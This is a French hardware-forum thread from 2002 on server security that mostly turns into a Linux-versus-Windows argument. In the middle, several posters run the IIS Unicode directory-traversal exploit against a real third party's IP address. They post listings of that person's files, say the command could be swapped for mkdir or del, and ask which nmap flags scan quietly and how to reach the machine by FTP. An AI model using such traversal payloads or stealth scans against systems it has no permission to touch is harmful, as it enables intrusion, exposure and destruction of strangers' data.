Sécurité d'un server

Recherche :

Mot : Pseudo : Filtrer
Page : 1 2 3 4 5 6 7 8 9 Page Suivante Page Précédente Bas de page
Auteur	Sujet : Sécurité d'un server

houplaboom42

Reprise du message précédent :

kelus a écrit a écrit :

je disais pour ton topic sur la debian ou tu installais ca a l'arrache sans t'etre trop renseigner avant

d'ailleurs, un bel exemple de ton ouverture d'esprit : http://www.zozoll-online.com/forum [...] =1&trash=0

:lol: :lol: :lol: :lol:
[:schumacher]

putain mais quel blaireau

Publicité

- Fred -

007 Agent

D'ailleurs tu veux savoir pourquoi "aucun logiciel ne marche d'entrée de jeu" ? Parce que sous Linux, on a au moins la correction de te demander de configurer ton logiciel avant de le lancer, et pas de le configurer alors qu'il est lancé. Un exemple : tu installes ton IIS, au départ, sans les correctifs et sans la configuration. Déja tu dois appliquer tout tes correctifs un à un (sous Linux, la maj peut être automatique), m'enfin ça c'est un détail, le truc con c'est que pendant que tu configures, ton logiciel est lancé et ton système devient potentiellement vulnérable (pour peu qu'il ne l'ai pas déjà été au départ ...) et le logiciel peut accomplir des tâche dont tu ne veux pas qu'elles s'éxécutent, alors que tu le configures. Sous Nunux, tu configures d'abord, tu lances ensuite, comme ça tu es certain que ton logiciel fera ce que tu veux. Un autre exemple : Windows, ses composants et la majorité de ses logiciels ont une politique de configuration par défaut par le haut, ce qui signifie que par défaut beaucoup de fonctions sont activées, des fonctions dont tu n'as peut-être pas besoin, qui rendent éventuellement ta machine vulnérable, et que tu peux par négligeance ommettre de changer. Sous Linux, par défaut un logiciel fait le minimum, c'est toi qui lui dit ce qu'il a ensuite le droit de faire de plus. C'est peut-être plus laborieux, mais au moins on est certain de ce que le logiciel fait. Ca résume à mon avis la différence d'approche qui distingue Windows et Linux ...

---------------
"You know the name, You know the number..."

houplaboom42

MagicBuzz a écrit a écrit :

C'est pour ça qu'il y a un truc qui s'appelle SP3, et un autre qui s'appelle "IIS Security Tools", ou tout simplement Windows Update.

C'est aussi pour cette raison en grande partie qu'une sous-version d'Apache sort tout les 2 ou trois mois, car contrairement à ce que pense pas mal degens, Linux et ses produits serveurs ont aussi des bugs et des failles de sécu qui nécessitent des mises à jours assez régulières si on veut éviter les trous potentiels.

la seule difference et elle est de taille c est le temps
entre la decouverte de la faille et sa correction , au grand maximun 10 jours , comparé aux 3 mois de windows .... :sarcastic:

faenir

Des failles aussi importantes et facilement exploitables dans apache? J'aimerais bien que tu le prouves

asphro

qui na pas su exploité unicode qui existe depuis iis3

qui a reussi a exploiter le derniere faille de apache

pourtant ils ont le code source !!!

l exploit a ete realisé que des machine *bsd !!!

est encore ca a marche dans 50% des cas sur des *bsd

- Fred -

007 Agent

asphro a écrit a écrit :

est encore ca a marche dans 50% des cas sur des *bsd

Et encore avec le foin que ça a fait il doit plus y avoir beaucoup de machine BSD qui ont encore l'ancienne version ...
D'ailleurs attention : le fait que ce bug soit exploitable sur le *BSD ne veut pas du tout dire que BSD c'est de la merde, je vous vois venir
Y a juste OpenBSD qui en a prit un peu pour son grade avec sa réputation de bastion inviolable ... Ca ne l'empêche pas d'être un très bon système :sol:

Message édité par - Fred - le 29-08-2002 à 18:05:31

---------------
"You know the name, You know the number..."

asphro

par contre iis et unicode tjrs la !!!

http://208.18.8.51/scripts/..%255c [...] ?/c+dir+c:

- Fred -

007 Agent

lol
http://208.18.8.51/scripts/..%255c [...] c:progra~1

Code :

http://208.18.8.51/scripts/..%255c [...] ~1MyDocu~1
07/17/2002 06:10p <DIR> My Pictures
06/26/2002 12:49a 141,869,056 SBSINST
07/22/2002 04:03p <DIR> JWalk
07/22/2002 04:05p <DIR> Seagull
07/22/2002 04:05p <DIR> Tools
03/12/1998 02:37p 60 autorun.inf
08/11/2000 04:29p 372,736 demo32.exe
08/11/2000 04:25p 28,672 ds32.dll
08/29/1997 05:30p 766 jwalk.ico
06/13/2001 08:47a 100,855 jwalk_cd.dbd
06/25/2002 11:02p 1,839 jwalk_cd.rtf
06/26/2002 12:24a 2,560 QDSETMAP
06/26/2002 12:24a 57,344 QTEMP
07/22/2002 04:05p <DIR> Docs
12/09/1997 01:52p 124,928 sdf.exe
03/13/1998 01:55p 41 setup.bat
07/24/2002 09:47p 22,398,614 BZ30c3.zip
07/24/2002 10:18p <DIR> bluezone
07/30/2002 04:41p <DIR> IBM
07/30/2002 04:49p <DIR> Security

http://208.18.8.51/scripts/..%255c [...] +c:Inetpub
PS : Ca commence à me plaire ce script ;-)
Où sont ses pages ASP d'ailleurs ?

Message édité par - Fred - le 29-08-2002 à 18:14:31

---------------
"You know the name, You know the number..."

asphro

c klr que windoiws c bien

une fois pour me venger j avais vu un rep edonkey et sur un de c partoche y avait au moins 15 film

j ai tout deleter !!!

le warez c spo bien !!!

houplaboom42

Code :

07/16/2002 12:54p <DIR> WINNT
07/16/2002 12:58p <DIR> Documents and Settings
07/16/2002 12:58p <DIR> Program Files
07/16/2002 01:59p <DIR> ASFRoot
07/16/2002 02:02p <DIR> Inetpub
07/17/2002 05:44p <DIR> Windows Update Setup Files
07/22/2002 11:52a <DIR> certificates
07/22/2002 12:46p <DIR> My Music
07/23/2002 12:22p 992 certreq.txt
08/14/2002 04:05p <DIR> overdrive
08/15/2002 08:28a <DIR> glassbook
08/29/2002 10:57a <DIR> IIS c bon mangez en <---- AHAHAHAHAHA
08/29/2002 10:57a <DIR> 'IIS

Message édité par houplaboom42 le 29-08-2002 à 18:12:33

Publicité

asphro

houplaboom42 a écrit a écrit :

Code :

07/16/2002 12:54p <DIR> WINNT
07/16/2002 12:58p <DIR> Documents and Settings
07/16/2002 12:58p <DIR> Program Files
07/16/2002 01:59p <DIR> ASFRoot
07/16/2002 02:02p <DIR> Inetpub
07/17/2002 05:44p <DIR> Windows Update Setup Files
07/22/2002 11:52a <DIR> certificates
07/22/2002 12:46p <DIR> My Music
07/23/2002 12:22p 992 certreq.txt
08/14/2002 04:05p <DIR> overdrive
08/15/2002 08:28a <DIR> glassbook
08/29/2002 10:57a <DIR> IIS c bon mangez en <---- AHAHAHAHAHA
08/29/2002 10:57a <DIR> 'IIS

- Fred -

007 Agent

J'ai encore mieux :

Code :

http://208.18.8.51/scripts/..%255c [...] pubscripts
Directory of c:\inetpub\scripts
07/16/2002 02:05p <DIR> .
07/16/2002 02:05p <DIR> ..
11/09/1999 08:46p 15,248 NSIISLOG.DLL
08/21/2002 05:45a 496,836 WINMGNT.EXE
08/21/2002 05:37a 59,392 WINLOGIN.EXE
08/28/2002 04:51a 1,435 servudaemon.ini
08/28/2002 04:51a 591 ServUStartUpLog.txt
08/21/2002 05:45a 143 CDIR.TXT
08/21/2002 05:46a <DIR> log
05/04/2001 02:05p 236,304 az.exe
08/29/2002 10:57a <DIR> c <-
08/29/2002 10:57a <DIR> bon <-
08/29/2002 10:57a <DIR> mangez <-
08/29/2002 10:57a <DIR> en' <-
7 File(s) 809,949 bytes
7 Dir(s) 2,945,548,288 bytes free

S'éclate lui :lol:
On peut éxécuter des programmes comme ça ?

Message édité par - Fred - le 29-08-2002 à 18:16:44

---------------
"You know the name, You know the number..."

asphro

ben

a la place de dir tu met les commande dos !!

mkdir
del etc ..

asphro

je peu meme te dire qu il a ete hacke et que qu un a foutu serve-u

donc y a des divx ou autre dessus je paris !!

- Fred -

007 Agent

lol putain ça marche !
Ca c'est du trou de sécurité

---------------
"You know the name, You know the number..."

houplaboom42

ca repond plus :lol:

ha si ca remarche

Message édité par houplaboom42 le 29-08-2002 à 18:23:49

asphro

gagné

http://208.18.8.51/scripts/..%255c [...] scriptslog

par des allemand !!

- Fred -

007 Agent

On peut avoir l'accès par FTP à votre avis ?
Une autre question : quelle est la commande cat sous Windows ?

Message édité par - Fred - le 29-08-2002 à 18:35:15

---------------
"You know the name, You know the number..."

houplaboom42

- Fred - a écrit a écrit :

On peut avoir l'accès par FTP à votre avis ?

faudrait simplement trouver sur quel port trourne le ftp
parce que la ca a pas l air de repondre sur le 21 ou alors le lancer

Message édité par houplaboom42 le 29-08-2002 à 18:36:31

- Fred -

007 Agent

On peut prendre ça comme un cas d'école tiens. Quel mode pour nmap pour qu'il soit pas trop bruyant mais qu'il donne qd même des résultats corrects ?

---------------
"You know the name, You know the number..."

houplaboom42

- Fred - a écrit a écrit :

On peut prendre ça comme un cas d'école tiens. Quel mode pour nmap pour qu'il soit pas trop bruyant mais qu'il donne qd même des résultats corrects ?

-sS ou -sF

Message édité par houplaboom42 le 29-08-2002 à 18:41:02

asphro

ca me rappelle mon tps du w*r*z !!!

pour faire des bon ptit distro/dump

ct l ideal les iis !!!

- Fred -

007 Agent

D'ailleurs, ça doit exister des mini-distro avec des outils de diagnostic réseau non ? Avec nmap, nessus, tout ça, et qui se lance sans s'installer ?

---------------
"You know the name, You know the number..."

- Fred -

007 Agent

Eh bien voilà, je savais que ça existait :
http://trinux.sourceforge.net/

Comme ca, MagicBuzz n'a plus d'excuse : ça marche sur presque toutes les machines, c'est gratos, compact, rapide, ça te permettra au moins une fois de dire du bien de Linux !

Des infos sur les outils inclus :
http://trinux.sourceforge.net/tools.html

Message édité par - Fred - le 29-08-2002 à 20:09:53

---------------
"You know the name, You know the number..."

faenir

Oui mais il veut surement des disquettes avec windows dessus comme ça il arrivera a les utiliser, ici il risque de devoir lire la doc

- Fred -

007 Agent

lol

Serieusement, MagicBuzz, essayes de te compiler une Gentoo, le pas à pas de l'install est pas mal foutu, et tu vois un peu comment ça se passe sans trop entrer dans les trucs chiants. C'est une assez bonne école pour commencer ...

---------------
"You know the name, You know the number..."

mean

T'avais essayé sur quelle machine ?
LE bipro avec 2 cartes SCSI ?

mean

Et si on revenait au but primaire du post ?
Mmmmm

Ps: Trinux m'en sert pour mettre en reseau des vieux PC au boulot pour faire des backups. Vachement bien foutu.
Le gros du soft est stoqué sur un serveur HTTP (apache ou autre) et est télechargé juste après le boot -> admin centralisé et tout

Meme sur des vieilles daubes (pas trop quand meme) ca marche du feu de dieu.

- Fred -

007 Agent

MagicBuzz a écrit a écrit :

:lol:

plutôt comparer WinME et Win2K (sorti à peut près en même temps)

Et là on s'apperçoit que :
- Interface d'install très similaire
- Bouquet d'appli proposées (ou packages) similaires et s'installant de la même façon
- Une fois installé, interface utilisateur identique, ligne de commande identique
- Etc.

Je continue ?

C'est pas vraiment le problème ... je suis certain que tu te mets devant une RedHat tu t'en sortira pas vraiment mieux ... et lorsque tu connaîtra la RedHat, alors la Debian te sera elle aussi familière

Citation :

Pourtant, WinME et Win2K sont deux OS à base de noyaux rigoureusement différents. Ils s'adressent à une population rigoureusement différente. Les développeurs qui ont bossé sur l'un n'ont jamais vu une ligne de code de l'autre.

Elle est bien bonne celle là :lol: . C'est vrai que les composant sont rigoureusement différents, IE, Windows Media Player, DirectX et j'en passe. Les kernels sont différents (pas tant que ça en fait ...) mais une grande partie du code est similaire sur ces deux versions. Faut pas se leurrer non plus, M$ ils codent pas 2 fois la même chose pour se faire plaisir ...

Citation :

Alors de la part de deux distribs qui utilisent le même noyau, qui utilisent les mêmes paquages, mais où uniquement les outils d'install diffèrent (à peut de chose ça, c'est ça) c'est quand même assez gros qu'un bouquin qui s'adresse à l'un ne fonctionne pas avec l'autre. D'autant plus que ce bouquin, si vous le connaissiez, vous sauriez qu'il est très générique, et la RedHat, comme je l'ai déjà dit, est citée uniquement en temps qu'exemple.

Tu as une machine récente, OK ? Dessus, tu mettrais pas Windows 3.1 ou Windows 95 non ? Eh bien là c'est pareil, télécharges ou choppes d'un mag' la dernière RedHat 7.3 si tu veux te faire plaisir, au lieu de te borner à vouloir utiliser la 6.0 qui n'est plus à jour du tout.

Message édité par - Fred - le 29-08-2002 à 21:12:24

---------------
"You know the name, You know the number..."

kelus

je te reproche ca :
"He bien dans ce cas arrête de la ramener toutes les 2 secondes avec.
Là il est sous Windows et cherche un serveur FTP pour windows.

Il en a rien à foutre que ceux de Linux fassent le café en plus."

que je trouve plutot agressif car je n'ai fait qu'un post sur linux mais bon tu es sur ton forum, tu fais ce que tu veux
apres, tu oses venir raler que tu es mal accueilli :sarcastic:
et tes insultes envers la communaute des programmeurs linux qui eux au moins apportent quelque-chose au monde de l'info
alors que toi, a part pirater tes softs windows, car je suppose que tu as la licence de tout tes logiciels et que tu as choisi d'utiliser des win2000 en US...

de plus, il veut 'monter un petit serveur ftp' donc je pensais qu'il voulait partir de 0, donc sans OS ni rien, et qu'il reflechissait a quel logiciel utilise
desole d'avoir oublier que windows etait l'unique systeme au monde...

- Fred -

007 Agent

MagicBuzz a écrit a écrit :

Si y'a un truc qui te choque encore dans mes propos, sâche que je ne vois pas ce que tu leur repproches, et je ne suis pas le seul à penser ce que j'ai dis.
Un gars qui se pointe et demande un serveur ftp. Quelques lignes plus bah, on énumère une série de serveur sous Windows, et toi tu lui conseilles un serveur pour linux... C'est ça que je te reproche dans mon post. Et il te dérange parceque j'ai élargis ma pensé aux reproches que je fais au "trop plein" de softs dans tout les sens qui font la même chose qu'il y a sous Linux ? J'aurais peut-être pas dû. Mais je ne reviendrai pas sur ma parole, car je le pense. Quand il y a déjà un bon outils, qu'on en face quelques autres différents qui apportent réellement des fonctions spécifiques, OK, mais quand c'est le nième clône de la même chose, je cherche l'intérêt (par contre je vois les désaventages)

En fait t'aurais surtout pas dû insulter un mec qui venait poster constructif et vomir sur Linux sans aucun fondement, mais sinon ton post était bien ...

Et il nous traite d'intégristes :na:

---------------
"You know the name, You know the number..."

kelus

tu regardes l'IP et tu sauras chez qui c'est...

- Fred -

007 Agent

MagicBuzz a écrit a écrit :

Chais pas où t'as récupéré ce listing mais dans l'ordre :
- J'ai pas de SB
- J'ai pas d'utilisateur Admin (si le lien qui est dans la liste)
- Cette faille n'est pas exploitable sur ma machine
- Le listing ne correspond pas à un "programme files" de Win2K

Déjà si tu regardes bien (paske t'as l'air de manage un peu Win2k nan ?) tu verrais que c'est le listing de "Mes Documents". Ensuite, si tu as suivi, tu sais que ce n'est pas ta machine, mais celle d'un mec prit au hasard qui avait ce bug de IIS, pour démontrer les failles qu'il pouvait avoir. C'est pas vraiment sous Nunux dans une install standart que tu pourrais avoir ça ... M'enfin IIS c'est secure alors ...

Message édité par - Fred - le 29-08-2002 à 21:16:49

---------------
"You know the name, You know the number..."

asphro

normale c windows 98, mais c IIS 5.0 !!!

ct pour t expliquer que iis si tu l installe d ebase ben voila !!

donc deja faut installer iis, et ensuite aplliquer 20mo de patch !!!

bouhhhhhhhhhhhhhhh !!!

kelus

j'ai jamais eu aucun probleme pour installer linux, a part au debut avec les noyaux 1.x, pourtant j'en ai du materiel de merde
mais c'est vrai que des fois il faut passer des parametres a l'install...

kelus

asphro a écrit a écrit :

normale c windows 98, mais c IIS 5.0 !!!

ct pour t expliquer que iis si tu l installe d ebase ben voila !!

donc deja faut installer iis, et ensuite aplliquer 20mo de patch !!!

bouhhhhhhhhhhhhhhh !!!

oui mais il marche tout de suite

asphro

remark nmap a du me dire une connerie c un winnt 2k

kelus

MagicBuzz a écrit a écrit :

BEn le PC est down visiblement, donc pas de résolution DNS dessus. Et tracert marche pas à cause de mon modem.

t'aurais pu deviner que c'etait pas toi par exemple puisque c'etait la question que tu te posais

- Fred -

007 Agent

MagicBuzz a écrit a écrit :

Nan, c'est u K7-550 sur un K7M (autant dire que c pas tout jeune)

Seulement, dessus, deux HD de 80 Go (et pas d'autre HD) et Linux n'aime pas s'installer sur une partition que le bios ne reconnaît pas (avec Win2K c'est passé comme une lettre à la poste, mais j'avoue que ça m'a un peu étonné quand même

)

Perso mon disque n'est pas reconnu non plus à sa juste capacité (40Go), l'install a marché avec Win2k, WinXP ... et tous les Linux que j'ai essayé

Au pire, tu prends une distro de test comme demolinux (quoique DemoLinux pour apprendre c'est pas top) : ça t'écrit rien sur le disque, et ça te permet de t'entraîner. Perso j'ai un PII-400 avec un chipset 440bx (ce bon vieux 440bx ...) et tout marche impec. Le noyau 2.4 sait tout à fait gérer les volumes de plus de 8Go ...

---------------
"You know the name, You know the number..."

kelus

knoppix a l'air pas mal pour ca aussi

asphro

LE mec a corriger ca faille de secu

Publicité

Page : 1 2 3 4 5 6 7 8 9

Page Suivante

Page Précédente

Haut de page

FORUM HardWare.fr

Linux et OS Alternatifs

Codes et scripts

Sécurité d'un server

Sujets relatifs
J'ai comme un doute sur la securité de ma machine...	samba-3 alpha & active directory Win2000 server avance
lien magique et server ftp???	Y-a bcp de failles de sécurité en ce moment, je trouve
[MANDRAKE 9] : Fatal server error: couldn't open default font 'fixed'!	[securite et sshd] idee ? valable oui:non [MERCI ca marche]
fatal server error !!!!!!!!!!!!!!!!!!!! Help	sécurité et partage avec SNF 7.2
server dédié - top
Plus de sujets relatifs à : Sécurité d'un server

Page générée en 0.123 secondes